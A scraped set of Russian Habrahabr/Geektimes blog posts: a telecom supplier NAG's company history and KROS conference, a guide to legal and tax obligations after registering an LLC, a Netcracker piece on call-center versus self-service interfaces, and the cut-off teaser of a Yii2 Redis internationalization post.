Это своего рода пост а-ля “привет Гиктаймс”, но несколько большим объемом. Раз уж мы пришли сюда, то следовало бы познакомиться прежде чем наладить плодотворное общение. Под катом история компании “НАГ”в кратком изложении. Было бы честным сказать, что наша история тесно связана с историей телекома в России, и не появись “НАГ” на горизонте, несколько другой могла быть и сама отрасль. Названия знаменитых брендов и громадных корпораций часто окружены легким ореолом легенды, повествующей о том с чего все начиналось. С компанией “НАГ” дело обстоит примерно так же. Говорят, что началось все с банальной перепродажи через интернет коммутатора Cisco . С тех пор, как говорится: “понеслось”. Тем предприимчивым продавцом был Павел Нагибин — отец-основатель компании, сегодня играющей заметную роль на рынке телекоммуникаций в России и постсоветском пространстве. Но обо всем по порядку. Павел Нагибин берет первое слово на КРОС-2016 “Сначала было слово”... Да! Именно слово стало основой того, чем сегодня является “НАГ”. Вернее то место, где это слово публиковалось. В 2000 году Павел Нагибин запустил информационный портал, посвященный телекому, где публиковал, как собственные обзоры основных тенденций и проблем отрасли, так и статьи сторонних специалистов. Название ресурсу было дано по первым трем буквам фамилии создателя. Nag.ru развивался, обрастал разделами и трафиком. В дальнейшем кроме обзоров на портале заработал блок новостей, каталог продукции и список интернет-провайдеров. Дело спорилось, сайт переехал на новый движок. Налаживались коммуникативные связи с провайдерами, а с ними росли продажи. С ростом продаж увеличивалось и количество сотрудников. Если изначально компания насчитывала несколько человек лично знакомых между собой, то по мере развития разбухал и штат работников, которые, конечно, были чем-то большим, чем просто коллегами. Это были люди с головой погруженные в новое, не только для себя, но и для страны, дело. В 2004 году “НАГ” начал осваивать китайское направление, которое впоследствии становится основным в деятельности компании. “Китай, в то время был ещё “терра инкогнита”. Но потенциал был очевиден, главное было понять, на что нужно обратить внимание в первую очередь. Выстроить связи, отладить контакты и отработать логистические схемы. В итоге, через три-четыре года Китай стал большим развитым направлением. В штат вошли первые менеджеры по закупкам. Тогда же начала плавно формироваться нынешняя структура компании: директор, который занимается очень общими вопросами, отдел продаж и продакт- менеджеры” , — рассказывает директор компании Дмитрий Самоделко. Компания бурно росла, окучивая не паханное поле рынка телекоммуникаций. “НАГ” становился узнаваемым и востребованным отраслью. Но этого было мало. КРОС Всего каких-то десять лет назад, интернет, чье распространение сейчас достигло немыслимых масштабов, был уделом сравнительно небольшой части бизнес-сообщества России, которая была увлечена своим делом не меньше, чем зарабатыванием денег. Естественно, все эти люди нуждались в своего рода тусовке, где можно было бы собраться и поговорить с людьми схожих взглядов и увлечений, затронув при этом проблемы сугубо профессиональные. Для Nag.ru организация такого мероприятия стала бы еще одним поводом заявить о себе не только, как о виртуальном товарище всех провайдеров, но и как о гостеприимном хозяине, двери дома которого открыты для всех. Так было принято решение организовать Конференцию Российских Операторов Связи ( КРОС ). На дворе был 2006 год. Как вспоминает один из организаторов первого КРОС Дмитрий Самоделко, идея создания первой конференции родилась из желания собрать людей, стоявших у истоков российского телекома. “КРОС родился из нашего решения собрать коллег, людей, которые стояли у истоков телекоммуникаций. Теперь эти люди — руководители крупных компаний. Но почему бы не собрать их по старой памяти, чтобы обсудить дела, перспективы, просто поговорить о жизни. Собственно, именно возможность обсудить общие проблемы в неформальной обстановке, и стала стимулом к проведению первой нашей встречи” , — считает Дмитрий. Первый КРОС состоялся на одной из свердловских турбаз, куда приехало около ста человек — представителей провайдеров. Мероприятие прошло “на ура”, гости остались довольны, а на следующий год все захотели собраться вновь. “Было весело. И мы решили собраться через год. Провели второй, третий, четвёртый, пятый. Каждый год число участников увеличивалось. Мы знали, что этим людям будет интересно, мы знали, что можем выступить организаторами. Мы эту нишу заняли и всё. Собственно, мы продолжаем традицию, потому что нам нравится объединять вокруг себя людей, нам нравится, что они получают от этих встреч удовольствие. Перестанут получать, мы перестанем собирать, или изменим формат” , — говорит Дмитрий Самоделко. Огромную популярность КРОС приобрел, как раз из-за особого формата мероприятия, предусматривающего некую неформальность общения провайдеров между собой. Это позволяет им коллективно обсудить актуальную для всех проблему, и даже решить её посредством “мозгового штурма”, считает продакт-менеджер “НАГ” Андрей Шепелев. На сегодня история КРОС насчитывает десять успешных лет раз за разом менявших облик мероприятия — менялось не только количество участников, но и темы докладов. Если проследить темы, которые обсуждались на конференции из года в год, то можно определить, как менялся, и что волновало российский телеком с течением времени. Десять лет — это рубеж, и, прекрасно, что проведены они были на родине гостеприимного хозяина “НАГ”- в Екатеринбурге. За эти годы выросла не только компания, выросла сама отрасль, а большим компаниям нужна большая площадка. Поэтому КРОС-2016 прошел в Сочи. Количество участников в первые же дни регистрации превысило пять сотен, а размах конференции превысил все предыдущие масштабы. Tesla Power от Ericsson “Мы 10 лет проводили конференцию в Екатеринбурге. Но однажды поняли, что обросли множеством проблем, которые в Екатеринбурге просто не решить. У нас все эти годы идёт рост. Мы были ограничены тем, что не могли принимать более 400 человек. Приезжают генеральные директора, технические директора. Хорошие успешные дорогие нам люди. И им не хватает места в зале. Ну что это такое! Поэтому мы вынуждены ограничивать количество приглашённых. И мы решили поискать новую точку для сбора. В результате долгих исканий наш выбор пал на Сочи” , — отмечает глава компании. От “перекупа” до собственных разработок Мерный ход стрелок никогда не даст времени остановиться. Оно уходит безвозвратно, давая нам шанс приобрести что-то взамен. “НАГ” своего времени не упустил, став организатором популярной конференции провайдеров и одним из основных поставщиков продукции для связистов. Однако вес компания приобретает, когда начинает создавать собственный продукт… Постепенно все шло именно к этому. Здесь опять же свою заметную роль сыграла та пресловутая “обратная связь” между продавцом и покупателем, которую “НАГ” старается поддерживать постоянно, делая из клиента не просто источник прибыли, а еще и товарища. У истоков перерождения компании из продавца в производителя стоял Дмитрий Поляков, сегодня занимающий пост главы отдела разработок. Первым продуктом, разработанным под маркой SNR стало устройство под рабочим названием ERD . “У операторов связи существовала потребность в устройстве, которое давало бы возможность удаленного мониторинга сети и выявляло бы неисправности. Информации о чем-то подобном в доступе практически не было. Пришлось все придумывать с нуля, а не идти по уже протоптанной дорожке. В сущности так и появилась первая версия ERD. Уже в дальнейшем устройство превратилось в прибор, позволяющий перезагружать сеть удаленно. То есть если раньше зависшее оборудование приходилось “приводить в чувства” вручную, то при появлении ERD у операторов отпала нужда ехать на объект, чтобы перезагрузить оборудование” , — рассказал Дмитрий Поляков. Версии устройства постоянно совершенствовались, а их производство уже измерялось тысячами, что привело к появлению нового отдела в структуре “НАГ”. Сейчас отдел насчитывает несколько человек, которые постоянно заняты тестированием, усовершенствованием и разработкой новых решений. ERD стало устройством, которое востребовано во многих сферах. За годы, минувшие с его появления на рынке, ERD успели применить в своей работе клиенты разного калибра: от серьезных госструктур до масштабных телеком-корпораций. День сегодняшний На сегодняшний день “НАГ” позиционирует себя, как высокотехнологичный системный интегратор и крупнейший поставщик телекоммуникационного оборудования в РФ и странах СНГ. Компания продвигает на рынок, как продукцию собственного производства, выпускаемую под брендом SNR, так и оборудование других известных производителей. За свою жизнь компания словно мышцами обросла собственными производственными мощностями в России, Китае и Южной Корее, где производится оборудование под маркой SNR, которая спустя несколько лет успешного продвижения на рынке оказывает достойную конкуренцию громким именам. Секрет успеха банально прост — это прежде всего ориентир на постоянный рост качества продукции, а не “тупая” погоня за прибылью. Помимо производств “НАГ” открыл несколько представительств на территории РФ. Теперь офисы компании есть в Екатеринбурге, Москве и Новосибирске. В партнерах “НАГа” числятся такие громкие имена, как: Juniper, Ericsson, Fujitsu, Siemens и другие. Если задаться вопросом “Что такое “НАГ” сегодня?” то сложно дать однозначный и краткий ответ наблюдателю со стороны. В этом вопросе лучше доверится человеку, который в компании почти с самого рождения. ““НАГ” сегодня — это вдумчиво, трепетно сформированный коллектив единомышленников. Здесь собраны люди, которые стремятся к чему-то в жизни. Наша история — это история взлётов” , — считает Дмитрий Самоделко. О постоянном росте говорят и оценки независимых аналитиков. По данным CNews Analytics в 2015 году НАГ упрочил свои позиции в рейтинге поставщиков телекоммуникационного оборудования в России поднявшись на 4 ступеньки. Взгляд в будущее Будущее всегда хочется видеть радужным и перспективным. Таким оно должно представляться компании, которая за более чем десятилетнюю историю показывала лишь ежегодный рост, отвоевывая все новые “территории” рынка. Безусловно, свою роль здесь сыграла ниша, которую заняла компания и, непосредственно, сама отрасль, за последние годы лишь ускорившая в собственное развитие. Постскиптум Честно, мы долго размышляли прежде, чем решиться заводить блог на Geektimes. Ведь чтобы вещать на этой площадке нужно иметь четкое представление о том, что хочешь донести до аудитории. Здесь мы расскажем о том, что волнует нас — о событиях происходящих в телекоммуникациях и постараемся дать им экспертную оценку. Не забудем периодически оповещать наших подписчиков о происходящем в компании, а также более подробно расскажем о наших проектах и решениях.
https://geektimes.ru/company/nag/blog/283886/
habrahabr
10 вещей, которые обязательно нужно сделать после регистрации ООО
['регистрация ооо', 'регистрация бизнеса', 'свой бизнес', 'свое дело', 'усн', 'патент', 'енвд', 'осно', 'лицензирование']
После регистрации общество с ограниченной ответственностью ставят на налоговый учёт, и компания, вместе с правом вести бизнес, получает определённые обязанности. Не все эти обязанности очевидны и...
После регистрации общество с ограниченной ответственностью ставят на налоговый учёт, и компания, вместе с правом вести бизнес, получает определённые обязанности. Не все эти обязанности очевидны и известны новичкам в бизнесе. Чтобы не было мучительно жалко в первые же месяцы платить штрафы из своего кармана, советуем учредителям ООО убедиться, что вы знаете, как избежать ненужных потерь. А для тех, кто зарегистрировался в качестве ИП, мы подготовили: 7 советов начинающему ИП, чтобы избежать проблем (что-то вы точно из этого не знаете) Заключить трудовой договор с директором О том, кто именно будет руководить компанией, налоговая инспекция узнаёт еще на этапе регистрации ООО – из формы Р11001. Сразу после получения регистрационных документов надо заключить трудовой договор с руководителем. От имени ООО договор подписывает один из учредителей, указанный в протоколе об учреждении. Есть одна особенная ситуация, когда трудовой договор с директором можно не заключать: если вы единственный учредитель ООО и указали в качестве руководителя самого себя. Тогда достаточно издать приказ о возложении на себя полномочий руководителя без заключения трудового договора. В этом случае вы не сможете выплачивать себе зарплату, а стаж для начисления пенсии идти не будет. Но учитывая, что получение зарплаты учредителем – это самый дорогой способ получения дохода от бизнеса, расстраиваться особо не стоит. Почему это важно: трудовой договор с директором у вас будут требовать контрагенты, банки, госорганы. Кроме того, незаключение трудового договора в тех ситуациях, когда он обязателен, грозит для компании штрафом по статье 5.27 КоАП РФ (от 50 до 100 тысяч рублей). Обеспечить ведение бухучёта По закону «О бухучёте» ответственность за постановку бухгалтерского учёта лежит лично на руководителе.  Начинать сводить дебет с кредитом надо с первого дня существования фирмы. Если бухгалтера в ООО пока нет, то возложите обязанность по ведению учёта на руководителя, закрепив это приказом. Штатный бухгалтер обходится достаточно дорого, поэтому если объёма работ для него нет, то можно подключиться к одному из специализированных онлайн-сервисов и вести учёт самостоятельно . Другой вариант — передать учёт полностью или частично на аутсорсинг, а самому заняться более перспективными для бизнеса делами. Почему это важно: за нарушение порядка ведения бухучёта руководитель наказывается штрафом от 5 до 10 тысяч рублей, а за повторное нарушение он может быть дисквалифицирован на срок от 1 года до 2 лет (статья 15.11 КоАП РФ). Выбрать правильную систему налогообложения Правильный выбор системы налогообложения – это основа налоговой оптимизации. Вместо того, чтобы искать волшебный способ снизить налоги (а большинство предлагаемых в свободном доступе методов уже давно известны фискалам и помечены как «налоговая схема №…»), лучше обратиться за консультацией к хорошему специалисту по учёту. Вырастете до размеров корпорации – наймёте для оптимизации налогов финансового директора, а на первых порах стоит заказать расчёт налоговой нагрузки на разных режимах и выбрать самую низкую. Что при этом надо учитывать? ОСНО имеет смысл рассматривать, если основной пул ваших предполагаемых заказчиков работает на этом режиме (как правило, крупный бизнес и бюджетные организации). Обычная ставка налога на прибыль на ОСНО – 20% плюс НДС до 18%. УСН Доходы – самый простой для понимания режим: 6% доходов отдаёте государству. Дополнительный плюс этого варианта упрощёнки в том, что рассчитанный налог можно до половины уменьшить за счёт взносов, уплаченных за работников. Но есть и минус – никакие предпринимательские расходы не уменьшают доход для налогообложения. Если расходов по бизнесу предполагается много (65%-70% от доходов и более), то выгоднее будет УСН Доходы минус расходы. УСН Доходы минус расходы – стандартная ставка 15% может быть снижена в регионах до 5% по определённым видам деятельности. В плане учёта и признания расходов этот режим похож на ОСНО. Все расходы должны быть экономически обоснованы (направлены на получение прибыли) и документально подтверждены, что гарантирует внимание налоговиков к каждой цифре в вашей отчётности. На ЕНВД налог – это фиксированная рассчитанная государством сумма, который надо платить, независимо от того, ведёте ли вы деятельность или нет. Налог на этом режиме считают по специальной формуле. Приложив немного усилий, можно рассчитать налог для своей ситуации самостоятельно с помощью калькулятора ЕНВД . Так же, как на УСН Доходы, рассчитанный налог можно уменьшить, если вы платите страховые взносы за работников. ПСН организациям применять не разрешают, хотя видимых причин этому нет. Периодически ведутся разговоры о том, чтобы позволить фирмам покупать патент в рамках действующих ограничений: не более 15 работников и доход не более 60 млн рублей за год. Пока ситуация не меняется, возможно, дело сдвинется после отмены ЕНВД в 2021 году. Почему это важно: для любого бизнеса, а тем более стартапа, важно, чтобы платежи в бюджет не были разорительными. Возможности легально снижать налоговую нагрузку действительно есть. С 2016 года регионы получили право вводить для УСН и ЕНВД ещё более низкую ставку, чем установлено НК РФ. Дополнительные льготы есть у организаций Крыма и Севастополя. Уделите этому вопросу внимание, потому что возможность перейти на УСН есть только в течение 30 дней после регистрации ООО или уже со следующего года. Открыть расчётный счёт Расчётный счет нужен каждому ООО, даже если организация укладывается в лимит наличных расчётов с другими коммерческими субъектами (не более 100 000 рублей в рамках одного договора). Дело в том, что статья 45 НК РФ признает уплату налогов организациям только в безналичном порядке. Так что, как только настанет время платить налоги, придётся идти в банк, если вы не сделали этого раньше. Почему это важно: за несвоевременную уплату налогов (которые ООО не может заплатить без расчётного счёта) налагается штраф от 20% до 40% неуплаченной суммы (статья 122 НК РФ). Если же сумма недоимки признается крупной (от 5 млн рублей), то наступает уголовная ответственность по статье 199 УК РФ. Внести уставный капитал Не так давно внести половину уставного капитала требовалось до регистрации ООО. Сейчас для этого есть четыре месяца после получения свидетельства о создании общества и постановки его на налоговый учёт. Но если раньше внести УК можно было любым имуществом, то теперь минимальный размер (10 000 рублей) вносится только в денежной форме. Если в дополнение к минималке вносится имущество, его должен оценить независимый оценщик, а результаты оценки единогласно утвердить все учредители. Что будет, если учредители не внесут уставный капитал в 4-х месячный срок? Если говорить об ответственности перед законом, то ничего, штрафов за это не установлено. Максимум, что может сделать ИФНС – это инициировать ликвидацию ООО без уставного капитала, но это случается не так часто. А вот между учредителями отношения сложнее. Во-первых, если кто-то из учредителей свою долю внёс, а другой (другие) – нет, то неоплаченные доли после четырёх месяцев переходят к обществу. Во-вторых, в договоре об учреждении ООО учредители могут прописать пени в виде процентов за каждый день или месяц просрочки внесения уставного капитала. Почему это важно: без уставного капитала, даже минимального, фирма не может начать действовать. В разборках учредителей между собой тоже мало хорошего. А ещё есть одна косвенная норма (статья 14.25 КоАП), которая позволяет привлечь руководителя ООО по факту недостоверности сведений в ЕГРЮЛ. То есть, если в реестре прописано, что УК ООО «Пингвин» равен 10 000 рублей, а по факту он не внесён, то это недостоверная информация, за что налагается штраф от 5 до 10 тысяч рублей. Решить вопрос с печатью ООО История с печатью для ООО – образцовый пример того, как чиновники, «упрощая» процедуру чего бы то ни было, умудряются в итоге всё запутать. Печать ООО отменили в апреле 2015 года, точнее, не отменили, а сделали её применение добровольным. Статья 2 закона «Об ООО» изменила формулировку с «общество должно иметь круглую печать» на «общество вправе иметь печать». Вправе – значит, добровольно, по желанию. Но решать применять печать или нет, можно только в глобальном смысле, потому что в таких частностях, как оформление приходного кассового ордера или БСО, выбора нет – печать до сих пор обязательна. Да и в трудовых книжках обязательную круглую печать работодателя отменили совсем недавно – в ноябре 2016 года. На десерт в статью 2 закона «Об ООО» внесли такую маленькую оговорку: «Федеральным законом может быть предусмотрена обязанность общества использовать печать». То есть, в любой момент может быть принят федеральный закон, который для каких-то ситуаций или документов потребует применять «добровольную» печать. Так что, если печать у вас уже есть, то не выбрасывайте, а если нет – на всякий случай узнайте, где её можно быстро изготовить. Логическое продолжение истории таково – теперь по умолчанию считается, что ООО печать НЕ использует. Если же вы её используете или планируете использовать, об этом должно особо сообщаться в уставе. Из той же статьи 2: «Сведения о наличии печати должны содержаться в уставе общества». Что будет, если не внести в устав формулировку о наличии печати, а использовать её «де факто»? Да ничего не будет. В законе пока нет ни сроков, ни ответственности за применение нелегитимной печати или за отсутствие этого положения в уставе. Почему это важно: в принципе, если вы не будете оформлять ПКО или БСО, то можно работать без печати (если не примут какой-нибудь ФЗ, согласно которому печать обязательна). Просто будьте готовы объяснить свою позицию контрагенту, если он откажется подписывать документы по сделке, или своим работникам, которые считают, что запись в трудовой без печати недействительна. Зарегистрировать обособленное подразделение Сейчас всё чаще практикуется регистрация ООО на домашний адрес руководителя или учредителя. В принципе это нормально на первоначальном этапе, когда ещё неясно, как пойдут дела и где будет вестись реальная деятельность (в офисе, магазине, цехе, складе). Аналогичная ситуация складывается у ООО, зарегистрированных на юрадрес с почтово-секретарским обслуживанием, бизнес по этому адресу не ведётся. Если в какой-то момент вы стали торговать/обслуживать клиентов/иным образом вести дела по адресу, отличному от официального юридического, то надо по этому реальному адресу регистрировать обособленное подразделение. Как это сделать, можно в подробностях узнать здесь . Почему это важно: за нарушение 30-дневного срока регистрации обособленного подразделения можно получить штраф по статье 116 НК РФ (10 тысяч рублей). А если вообще не ставить ОП на налоговый учёт, то штраф составит не менее 40 тысяч.  Отменить нотариальное удостоверение протоколов собраний С 1 сентября 2014 года протокол любого общего собрания участников ООО должен быть заверен нотариально. Норма введена статьей 67.1 ГК РФ. Причём юристы считают , что это требование относится не только к собранию нескольких участников, но и единственному учредителю тоже. Однако обязательного нотариального заверения всех протоколов или решений можно избежать, если в уставе или в протоколе общего собрания участников общества, принятого участниками единогласно, предложен другой способ удостоверения. Варианты предлагает сам ГК РФ: подписание протокола всеми участниками или частью участников; с использованием технических средств, позволяющих достоверно установить факт принятия решения; иным способом, не противоречащим закону. Советуем проверить свой устав на наличие возможности удостоверять протоколы и решения без нотариуса. Возможно, в вашем варианте устава (как в п. 10.19 образца Устава ), эта фраза уже есть изначально. Если её нет, то придется всё же один раз сходить к нотариусу, чтобы заверить у него протокол или решение об ином способе подтверждения достоверности протоколов или решений. Почему это важно : ну хотя бы потому, что услуги нотариуса стоят денег. Да и ходить в нотариальную контору в полном составе участников или приглашать нотариуса на собрания тоже весьма хлопотно. Подать уведомление о начале деятельности Если ваша компания планирует оказание услуг по ремонту компьютеров и коммуникационного оборудования (коды ОКВЭД 95.11 и 95.12), то перед тем, как приступить к реальной деятельности, надо подать уведомление в местное отделение Роспотребнадзора . Это необходимо для того, чтобы вас включили в план проверок службы защиты прав потребителей. Правда, в рамках надзорных каникул государство обещает три года не проверять малый бизнес, но это относится только к плановым проверкам. Если ваш клиент окажется недоволен качеством услуг, то по его жалобе может быть инициирована внеплановая проверка. С 2017 года перед тем, как обратиться с жалобой в Роспотребнадзор, клиент должен обратиться с претензией к исполнителю услуг.  Так что, если вы правда виноваты, то у вас есть шанс решить дело миром. Почему это важно: если не подать уведомление, то можно получить штраф на ООО от 10 до 20 тысяч рублей плюс от 3 до 5 тысяч на директора (статья 19.7.5-1. КоАП РФ). Просто указание кодов ОКВЭД 95.11 и 95.12 при регистрации ООО не обязывает вас ни о чем сообщать. Уведомление о начале осуществления предпринимательской деятельности надо подавать только перед тем, как вы реально станете обслуживать клиентов. Получить лицензию, если ваш вид деятельности относится к лицензионным Лицензия — это разрешение на право заниматься определённым видом деятельности. В IT-сфере закон от 04.05.2011 № 99-ФЗ относит к лицензионным следующие направления: разработка, производство, распространение шифровальных средств, информационных систем и телекоммуникационных систем, выполнение работ, оказание услуг, техобслуживание в этой области, за исключением собственных нужд организации или ИП; разработка, производство, реализация и приобретение в целях продажи специальных технических средств, предназначенных для негласного получения информации; деятельность по выявлению электронных устройств, предназначенных для негласного получения информации, за исключением собственных нужд организации или ИП; разработка и производство средств защиты, деятельность по технической защите конфиденциальной информации. Лицензии выдаёт ФСБ, консультацию по вопросам лицензирования можно получить здесь . Почему это важно: за деятельность без лицензии или с нарушением ее условий могут взыскать административный штраф по статье 14.1 КоАП РФ (для ООО сумма от 40 до 50 тысяч рублей плюс на руководителя от 4 до 5 тысяч), допускается также конфискация изготовленной продукции, орудий производства и сырья. Если же в результате такой деятельности причинён крупный ущерб или получен доход в крупном размере, то возможна и уголовная ответственность. Другие статьи из нашего блога на Хабре: Что выгоднее открыть разработчику: ИП или ООО? Сколько зарабатывает программист в Москве по мнению ФНС Нужны ли книжные советы начинающим предпринимателям? Развеиваем мифы о том, что учредители не отвечают своим имуществом по долгам ООО 6 легальных способов и 1 сомнительный вывода денег учредителями из бизнеса 5 причин не использовать свой личный счёт в фрилансе 7 советов начинающему ИП, чтобы избежать проблем
https://habrahabr.ru/company/regberry/blog/318068/
habrahabr
Что скрывает от клиента монитор оператора?
['netcracker', 'crm', 'личный кабинет', 'ecommerce', 'телеком', 'колл-центр']
Умные гаджеты — смартфоны, планшеты — и возрастающая доступность цифровых технологий избаловали нас, пользователей. Сейчас кажется, что для решения любого вопроса должен быть свой интерфейс —...
Умные гаджеты — смартфоны, планшеты — и возрастающая доступность цифровых технологий избаловали нас, пользователей. Сейчас кажется, что для решения любого вопроса должен быть свой интерфейс — конечно, интуитивно понятный, touch-friendly и доступный на любом устройстве. Современные телеком-операторы предоставляют своим клиентам широкие возможности самообслуживания через порталы, мобильные приложения и на планшетах в точках продаж: добавление и изменение сервисов; настройка тарифа и конфигурация услуг; статистика и детализация пользования; финансовый мониторинг; работа с бонусами; оплата услуг и многие другие. В то же время, консультанты в магазине или операторы колл-центра, совершая аналогичные операции, работают в других системах и интерфейсах. Зачем создавать и поддерживать несколько систем? Возможна ли унификация этих интерфейсов? И что скрывают от клиента?   Интерфейс самообслуживания Посмотрим несколько примеров интерфейса самообслуживания, которые легко найти поисковой системой по запросу «Личный кабинет телеком оператора». Выглядят они, конечно, по-разному, но явно прослеживаются общие черты: стартовые экраны показывают ключевую информацию (тариф, текущий баланс, бонусные баллы); детали и функции «спрятаны» в других разделах или под кнопками; дизайн максимально упрощен, чтобы клиент мог разобраться самостоятельно; есть реклама и спецпредложения. Рабочее место сотрудника клиентской службы А это интерфейс для оператора колл-центра, разработанный компанией Netcracker. В процессе разработки мы основывались на своих подробных исследованиях повседневной работы операторов категории Tier 1 по всему миру. Интерфейс для оператора колл-центра, разработанный в компании Netcracker. В нашем понимании, профессиональный интерфейс должен строиться от задач сотрудника и ориентироваться на улучшение показателей KPI. В данном случае: Average handle time After call work First call resolution Learning curve и др. В ходе микро-проектирования UX мы хотели насколько возможно ускорить выполнение топ-сценариев. Поэтому среди наших приоритетов были следующие задачи: Определение важности данных и частоты обращения к ним. Это повлияло на последовательность и расположение виджетов. Обеспечение динамической компоновки данных в зависимости от контекста разговора. Наверх поднимаются виджеты, соответствующие текущему сценарию. Применение подхода actionable analytics. Из всего множества данных мы делаем акцент на то, что связано с контекстом обращения клиента. Очевидно, что такой инструмент требует подготовки и обучения сотрудников. Обратите внимание: На стартовом экране плотность данных гораздо выше. Оператор видит финансы, подключенные сервисы, немонетарные балансы, историю последних обращений. Многие параметры и элементы управления не имеют подписей, встречаются сокращения, применено цветовое кодирование. Подсказок и справочной информации мало. Большую часть оператор знает наизусть. Кроме того, оператору доступно то, что не увидит клиент: Scripting — последовательность вопросов, которые оператор должен задать клиенту. Она зависит от сценария и часто меняется. Статусы продуктов, сервисов, объектов биллинга и процессинга. В личном кабинете клиент видит только малую часть этого. Показатели лояльности клиента, в том числе те, что пришли из социальных сетей. Up-sell/Cross-sell — анализ того, что клиент уже купил, чтобы продать ему дополнительные продукты и услуги. Next best action — сложная и объемная аналитика поведения клиента. Она анализирует то, с чем обратился клиент, и предугадывает, что может сделать его счастливее. Interaction Log — здесь фиксируют взаимодействие с клиентом. Описывают проблемы и их решения, создают заявки в back end, категоризируют обращения для последующего анализа статистики. Различия в пользовательской и операторской системах обусловлены двумя причинами: Разные требования к системе У оператора и клиента разные навыки и сценарии взаимодействия с системой. Для клиента важны интуитивность (возможность быстро разобраться в интерфейсе) и удовлетворенность (впечатление от работы системы в целом). Для операторов же главное — производительность и скорость работы, т.е. возможность обработать обращение как можно быстрее, чтобы клиент остался доволен. Разные цели Клиенту ни к чему помнить, когда и зачем он заходил в личный кабинет. Цель клиента — узнать об услугах. Цель компании — больше продать. Компания собирает и систематизирует обращения, чтобы предугадать, что еще можно предложить клиенту. Кроме того, компания заботится о том, как повысить лояльность клиента. Это напрямую влияет на то, будет ли клиент и дальше пользоваться услугами. Завтрашний день — единый интерфейс Все телеком-операторы (и не только телеком-) стремятся снизить затраты на обслуживание клиентов — одну из самых значительных статей расходов. Как следствие, операторы ищут новые подходы к самому процессу взаимодействия с абонентами: Клиенты ценят удобство и время, поэтому развиваются digital-каналы коммуникаций: социальные сети, онлайн-консультанты и т.п. Порталы самообслуживания становятся удобнее и функциональнее, чтобы клиенты могли управлять своими услугами самостоятельно. Из-за высокой «текучки» и нехватки квалифицированных специалистов в колл-центрах компании часто обращаются к аутсорсингу. Поэтому интерфейсы приобретают все более простой и понятный вид. Все чаще клиент и консультант одновременно смотрят в один экран. Если в магазине они вместе выбирают продукт с планшета, то во время звонка в колл-центр оператор подключается к сессии клиента и от его имени приобретает и настраивает услуги. Таким образом, представитель клиентской службы каждый раз обучает абонента, чтобы в следующий раз абонент мог сделать это сам, без помощи представителя. Это, конечно, увеличивает время обработки обращения, но тем самым решает стратегическую задачу — привести обслуживание к самообслуживанию. В итоге селфсервис дает клиентам все больше информации и возможностей, а интерфейс оператора упрощается. Фактически, интерфейсы движутся навстречу друг другу. Проект SelfService+ Хорошим примером такого сближения послужит SelfService+ — совместный проект нашей компании и крупного телеком-оператора северной Америки с абонентской базой в несколько десятков миллионов абонентов. Суть проекта В новых районах строят дома. В основном эти дома покупают молодежь и люди среднего возраста. Заселяясь в квартиру, владелец обнаруживает коробочку, которую установил телеком-оператор. Коробочка предоставляет современные телеком-сервисы: интернет, ТВ, телефонию, международные звонки и пр. Владелец заходит на сайт, выбирает услуги, настраивает, оплачивает и сразу начинает ими пользоваться. Взаимодействие клиента с оператором начинается в digital-формате. Это подразумевает, что клиент и дальше будет обслуживать себя самостоятельно, сводя затраты компании на customer care к минимуму. Североамериканский оператор планирует «обкатать» процессы и системы на новой аудитории и постепенно перевести всю свою абонентскую базу на такой формат. Как в такой модели работает оператор колл-центра В этом проекте для операторов колл-центра не создается отдельная специальная система вроде той, что мы описывали. Операторы работают в том же интерфейсе самообслуживания, что и клиенты. Это возможно даже в рамках одной сессии с клиентом. Но возникает вопрос: как оператору получить доступ к специальным функциям системы — дополнительной информации о клиенте, логированию причины обращения, скриптингу вопросов, которые надо задать, next best action? Для этого интерфейс самообслуживания обогащается специальными функциями оператора. Их добавляют поверх того, что видит клиент. Рассмотрим на примере. Вот один из шагов покупки глазами клиента (название оператора и корпоративные стили изменены на вымышленные). Страница заказа телеком-сервисов для покупателя. Клиент выбрал тариф, в который вошли интернет и мобильная связь, и перешел к уточнению опций. В этот момент он засомневался, сколько wireless access points ему установить в квартире, и решил позвонить в колл-центр. Оператор колл-центра подключается к экрану клиента. Однако видит оператор больше, чем покупатель: Страница заказа телеком-сервисов для оператора. Оператору доступны и статусы покупателя (включая информацию из социальных сетей), и автозаполняемый блок Interaction, и динамические upsell/cross-sell предложения. Однако screen-flow покупки выглядит аналогично, и оператор проходит весь процесс вместе с покупателем в режиме реального времени. Провайдер понимает, что такие интерфейсы — это компромисс и прямо сейчас скорость работы операторов в магазинах и колл-центрах упадет. Ведь оператора — пользователя с другим опытом и ожиданиями — заставляют работать в интерфейсе покупателя. А это означает больше кликов, иная логика навигации, меньше данных на одном экране и непривычные акценты. Однако в долгосрочной перспективе такой подход позволит: развивать самообслуживание и снижать издержки на колл-центр; упростить интерфейсы операторов, снизить требования к их квалификации и ускорить обучение; использовать всю мощь аналитики, чтобы в подходящий момент предложить клиенту то, что он захочет купить. Тайное становится явным Теперь ясно, что скрывают от клиента в мониторе оператора: новейшие подходы к обслуживанию. Сегодня телеком-операторы знают о клиентах достаточно, чтобы суметь продать им даже то, о чем сами клиенты и не думали. Но это не «впаривание» сомнительного товара. Это стремление изучать потребителя и предлагать именно то, что сделает его счастливым. Разумеется, трансформация процессов и инструментов не принесет сиюминутной выгоды. Но залог успеха бизнеса — высокое качество сервиса. Поэтому эти вложения окупятся в долгосрочной перспективе. И хотя требования к системам CRM известны, а сами системы давно внедрены и используются, телеком-компании начинают понимать, что важна не только функциональность. На фоне глобального распространения цифровых технологий повседневный пользовательский опыт и ожидания неминуемо проникают и в сферу специализированного ПО. Забота о customer experience продвигает дизайн продуктов вперёд. Кроме того, удобство интерфейса и скорость работы оператора напрямую влияют на удовлетворенность клиента и в конечном итоге — на прибыль. Ожидания клиентов растут, на глазах меняется определение UX, требования к качеству продуктов выходят на новый уровень. И мы в компании Netcracker осознаем, что в таких условиях возрастает и наша ответственность. Информационные технологии достигли того уровня развития, когда почти нет преград в части реализации функциональности и интеграции с бизнесом. Но чтобы достойно отвечать на вызов индустрии, поставлять и внедрять инновационные решения по всему миру, необходимо продолжать ориентироваться на пользовательский опыт. Это одно из ключевых требований для того, чтобы успешно конкурировать на рынке. Интересно было бы узнать о ваших проектах в этой области. Приходилось ли вам разрабатывать подобные системы? Как они выглядели? Пишите в комментариях!
https://habrahabr.ru/company/netcracker/blog/318088/
habrahabr
Yii2-advanced: Делаем интернационализацию с источником в Redis
['yii2 framework', 'redis']
В Yii2 есть возможность реализовать три варианта интернационализации: Файл с массивом, вида: ключ=>перевод (гибко) Help Link: thecodeninja.net yiiframework yiiframework Создадим...
